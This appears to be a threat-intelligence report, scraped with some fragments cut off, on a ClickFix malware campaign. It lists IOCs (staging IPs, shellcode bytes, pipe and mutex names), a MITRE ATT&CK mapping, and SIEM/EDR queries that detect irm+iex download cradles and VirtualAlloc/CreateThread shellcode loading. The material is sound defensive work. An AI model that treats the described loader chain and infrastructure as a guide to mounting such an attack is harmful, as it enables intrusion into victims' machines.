E8 C0 6D 00 00 C0 6D 00 | Shellcode blob header — PIC CALL entry + decryptor offset 0x6DC0. No PE wrapper. |
size95.exe | Dropper filename — UTF-16LE wide string in all MZER watchdog thread regions. |
qb4p11bz.dll / [a-z0-9]{8}\.dll | Randomized temp-drop DLL naming pattern — reflective loader staging. |
MyApplication.app | .NET manifest artifact — dropper compiled as generic template binary. |
\\.\pipe\CPFATP_ | Named pipe — CLR profiler abuse or IPC C2 channel. Hunt: CPFATP_* wildcard. |
Global\CPFATE_ | Mutex artifact — CLR profiler mutex. Possible infection marker. |
WINHTTP.dll + 158.94.208.104 | WinHTTP-based C2 beacon co-located with staging IP — confirms HTTP beacon path. |
| ↓ ESET HIPS telemetry | |
PowerShell/Rozena.BI | ESET family name for the Stage-2 PS shellcode cradle — independently confirms stage2_clickfix_loader.ps1 from PCAP. Rozena = VirtualAlloc + Marshal.Copy + CreateThread pattern. |
Win64/Injector.AIY | ESET family for the MZER PE injector — maps to PID 820 loader and reflective injection chain. 5 hits mirror 5 watchdog threads. |
MSIL/Agent.FVB | ESET family for .NET dropper agent — maps to ASP.NET/WCF managed assembly in PID 4448 / Add-Type compiled class. |
Unconfirmed *.crdownload | Chrome partial-download extension — all payloads caught mid-write by ESET real-time scan. Confirms browser as delivery vehicle. |
DC03E6394743FE3983B5573B589951041B225DE6 | chrome.exe SHA1 — consistent across all 7 HIPS events. Verified clean / untampered. Single Chrome process responsible for entire payload delivery burst. |
MITRE ATT&CK Techniques
Malicious Paste (ClickFix)
irm+iex download cradle
Multi-stage payload DL
VirtualAlloc + CreateThread
All PS vars randomized
Shellcode with .png extension
| Technique ID | Name | Implementation |
|---|---|---|
T1204.002 | User Execution — Malicious Paste | Fake Cloudflare lure instructs victim to paste PS command |
T1059.001 | PowerShell | irm+iex download cradle; Add-Type compilation |
T1105 | Ingress Tool Transfer | Multi-stage payload download from 158.94.208.92 and .104 |
T1620 | Reflective Code Loading | VirtualAlloc + CreateThread in-memory shellcode execution |
T1027.003 | Obfuscation — Variable Names | All PS variables randomized per sample; C# class name randomized |
T1036.005 | Masquerading — File Extension | Raw shellcode delivered with .png extension |
Three Lure/Loader Rules + Four Memdump Rules
The three rules below target the lure and PS loader stages. Four additional memdump-derived rules (MZER loader, shellcode blob, temp DLL, C2 beacon) are in the Memory Dump Analysis section above. All seven rules are included in the STIX bundle.
cfChallenge / challengeHash / confirmChallenge variable cluster combined with irm + iex patterns. All three variable names together form a highly reliable, low-false-positive anchor.
Add-Type + TypeDefinition + DllImport + kernel32 + VirtualAlloc + CreateThread cluster. The combination of reflective loading primitives with Add-Type in a single script is highly anomalous.
flferzre_0.cs pattern) via all four kernel32 imports + System.Runtime.InteropServices namespace. Targets csc.exe-dropped temp .cs files in %TEMP%.
SIEM / EDR Query Examples
# SIEM — PowerShell ScriptBlock log (EID 4104) event.id:4104 AND process.command_line:*cfChallenge* AND process.command_line:*iex* # SIEM — Add-Type + VirtualAlloc in same session event.id:4104 AND process.command_line:*Add-Type* AND process.command_line:*VirtualAlloc* # EDR — csc.exe spawned by powershell.exe process.name:csc.exe AND process.parent.name:powershell.exe # Proxy / Firewall — HTTP to Omegatech range dst.ip:158.94.208.0/24 AND network.protocol:http # EDR — Named pipe creation matching MZER watchdog pattern (memdump-derived) event.id:17 AND pipe.name:CPFATP_* # EDR — Non-standard PE magic in written file (MZER loader, memdump-derived) file.header_bytes:4d5a4552*
# Proxy — PowerShell UA to non-Microsoft, non-allowlisted IP http.user_agent:*WindowsPowerShell* AND NOT dst.ip:<corp_allowlist> # EDR — UseBasicParsing + iex in same command process.command_line:*UseBasicParsing* AND process.command_line:*iex* # File — New .cs file in %TEMP% followed by csc.exe spawn file.path:*\\Temp\\*.cs AND event.id:1 (process create) # EDR — 8-char random DLL loaded from %TEMP% / %APPDATA% (memdump-derived) image.path:(*\\Temp\\* OR *\\AppData\\*) AND image.name:/^[a-z0-9]{8}\.dll$/ # EDR — WinHTTP connection to 158.94.208.104 outside browser context (memdump-derived) network.destination.ip:158.94.208.104 AND NOT process.name:(chrome.exe OR firefox.exe OR msedge.exe) # EDR — Identical memory region mapped across 5+ threads same PID (watchdog pattern) memory.region.protection:RWX AND memory.region.thread_count:>=5 AND process.name:*.exe
Defensive Measures
Add-Type and limits available .NET classes, directly preventing the P/Invoke compilation step. Deploy via WDAC or AppLocker.
iex-decoded content is visible to the provider.
%APPDATA%\...\PSReadLine\ConsoleHost_history.txt in EDR file monitoring. Reliably records pasted commands even when no other logging is enabled — highest forensic value for this attack class.
irm, iex, etc.) before paste, providing pre-execution detection capability.
Detonation Sequence
Total time from paste to active shellcode: ~1 second. Total C2 interaction window: ~31 seconds. ESET HIPS download burst: 17 seconds, 7 files, 3 families.
SecureLeaf / Dispensight
SecureLeaf is the cybersecurity intelligence division of Dispensight, specializing in threat intelligence, IOC collection, malware analysis, and campaign attribution.
Indicators are published to the following platforms under the Dispensight handle: